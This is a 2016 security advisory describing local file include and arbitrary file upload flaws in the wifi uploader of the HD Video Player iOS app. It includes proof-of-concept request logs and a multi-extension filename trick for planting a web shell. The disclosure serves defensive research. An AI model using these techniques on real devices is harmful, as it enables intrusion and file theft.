Document Title: =============== HD Video Player v2.5 iOS - Multiple Web Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1719 Release Date: ============= 2016-02-11 Vulnerability Laboratory ID (VL-ID): ==================================== 1719 Common Vulnerability Scoring System: ==================================== 7.3 Product & Service Introduction: =============================== Video Player Pro is one of the most popular and powerful player for all iPhone devices. It is easiest iPhone phone player. This player support many formats and can play any video,film,music,MTV that stored on your phone. HD Player Pro - the best choice of phone player. Can play any type video music and pdf txt word excel. (Copy of the Homepage: https://itunes.apple.com/us/app/hd-video-player-media-player/id983123556 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered multiple web vulnerabilities in the HD Video Player v2.5 iOS mobile web-application (wifi). Vulnerability Disclosure Timeline: ================================== 2016-02-11: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Hanlin Wang Product: HD Video Player PRO - iOS (Web-Application) [Wifi] 2.5 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ 1.1 A local file include web vulnerability has been discovered in the HD Video Player v2.5 iOS mobile web-application (wifi). The file include vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise the mobile web-application. The web vulnerability is located in the `filename` value of the `file uploader` module. Remote attackers are able to inject own files with malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in the index file dir listing and sub folders of the wifi interface. The attacker is able to inject the lfi payload by usage of the wifi interface or local file sync function. Attackers are also able to exploit the filename issue in combination with persistent injected script code to execute different malicious attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST. The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the local file include vulnerability results in mobile application compromise or connected device component compromise. Request Method(s): [+] [POST] Vulnerable Module(s): [+] File Uploader Vulnerable Parameter(s): [+] filename Affected Module(s): [+] Index File Dir Listing (http://localhost:8083/ or http://localhost:20000) 1.2 An arbitrary file upload web vulnerability has been discovered in the HD Video Player v2.5 iOS mobile web-application (wifi). The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the system validation and compromise the web-server. The vulnerability is located in the filename value of the `file uploader` module. Remote attackers are able to upload a php or js web-shell by a rename of the filename with multiple extensions in the upload POST method request. The attacker uploads for example a web-shell with the following name and extension `pentest.png.html.php.js.aspx.html.png`. After the upload the attacker needs to open the file in the wifi web-application interface. He deletes the .png file extension and can access the webshell with elevated access rights to execute. The security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.3. Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged web-application user account with password. Successful exploitation of the arbitrary file upload vulnerability results in unauthorized file access (aap/device) and compromise of http web-server. Request Method(s): [+] [POST] Vulnerable Module(s): [+] Upload Vulnerable Parameter(s): [+] filename (multiple extensions) Affected Module(s): [+] Index File Dir Listing (http://localhost:8083/ or http://localhost:20000) Proof of Concept (PoC): ======================= 1.1 The local file include web vulnerability can be exploited by remote attackers with wifi panel access and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Exploitation http://localhost:8083/./[LOCAL FILE INCLUDE VULNERABILITY!] --- PoC Session Logs [POST] --- Status: 200[OK] POST http://localhost:8083/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[1004] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8083] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://localhost:8083/] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------25916242948566 Content-Disposition: form-data; name="file"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!]" Content-Type: image/png - Status: 200[OK] GET http://localhost:8083/%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E*.png Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[538] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8083] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://localhost:8083/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[538] Date[Mi., 10 Feb. 2016 14:05:38 GMT] Vulnerable Source: File Dir Index Listing ./[LOCAL FILE INCLUDE VULNERABILITY!] ( 0.5 Kb)
<./[LOCAL FILE INCLUDE VULNERABILITY!] ( 0.5 Kb)
BF.db ( 40.0 Kb)
umengrt/ ( 0.1 Kb)
1.2 The arbitrary file upload web vulnerability can be exploited by remote attackers with wifi panel access and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Exploitation http://localhost:8083/2.png.js.html.php.aspx.html --- PoC Session Logs [POST] --- Status: 200[OK] POST http://localhost:8083/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[1004] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8083] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://localhost:8083/] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------25916242948566 Content-Disposition: form-data; name="file"; filename="2.png.js.html.php.aspx.html.png" Content-Type: image/png - Status: 200[OK] GET http://localhost:8083/2.png.js.html.php.aspx.html.png Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[538] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8083] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://localhost:8083/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[538] Date[Mi., 10 Feb. 2016 14:05:38 GMT] Vulnerable Source: File Dir Index Listing 2.png.js.html.php.aspx.html.png ( 0.5 Kb)
<2.png.js.html.php.aspx.html.png ( 0.5 Kb)
BF.db ( 40.0 Kb)
Security Risk: ============== 1.1 The security risk of the local file include web vulnerability in the filename value of the upload file function is estimated as high. (CVSS 6.4) 1.2 The security risk of the arbitrary file upload web vulnerability in the file upload mechanism is estimated as high. (CVSS 7.3) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™ # Iranian Exploit DataBase = http://IeDb.Ir [2016-02-15]